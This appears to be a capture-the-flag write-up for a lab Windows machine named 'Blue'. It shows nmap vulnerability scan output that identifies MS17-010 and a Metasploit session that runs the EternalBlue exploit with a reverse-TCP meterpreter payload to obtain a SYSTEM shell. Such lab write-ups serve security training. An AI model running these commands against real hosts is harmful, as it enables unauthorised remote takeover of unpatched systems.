🔷Blue

Scan and learn what exploit this machine is vulnerable to.

1. Reconnaisance

1.1 Nmap

Using nmap and vuln script to scan and identify ports and vulnerable services

nmap -Pn --script vuln 10.10.146.66
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-18 19:14 IST
Nmap scan report for 10.10.146.66
Host is up (0.17s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49158/tcp open  unknown
49160/tcp open  unknown

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false

Nmap done: 1 IP address (1 host up) scanned in 118.66 seconds

• We see that port 445(smb) has a vulnerable service with an RCE vulnerability(ms17-010) and a high risk factor. This vulnerability was termed as Eternal Blue

2. Gaining access

2.1 Metasploit

• Using metasploit to exploit the vulnerability

[msf](Jobs:0 Agents:0) >> search ms17-010

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution

• Using the module exploit/windows/smb/ms17_010_eternalblue

[msf](Jobs:0 Agents:0) >> use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) 
Exploit target:

   Id  Name
   --  ----
   0   Automatic Target
   
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> set RHOSTS 10.10.146.66
RHOSTS => 10.10.146.66

[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> set LHOST tun0
LHOST => tun0

[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> run

======================================================================

(Meterpreter 1)(C:\Windows\system32) > getuid
Server username: NT AUTHORITY\SYSTEM

• We have successfully logged into the box with administrator privileges (NT AUTHORITY SYSTEM)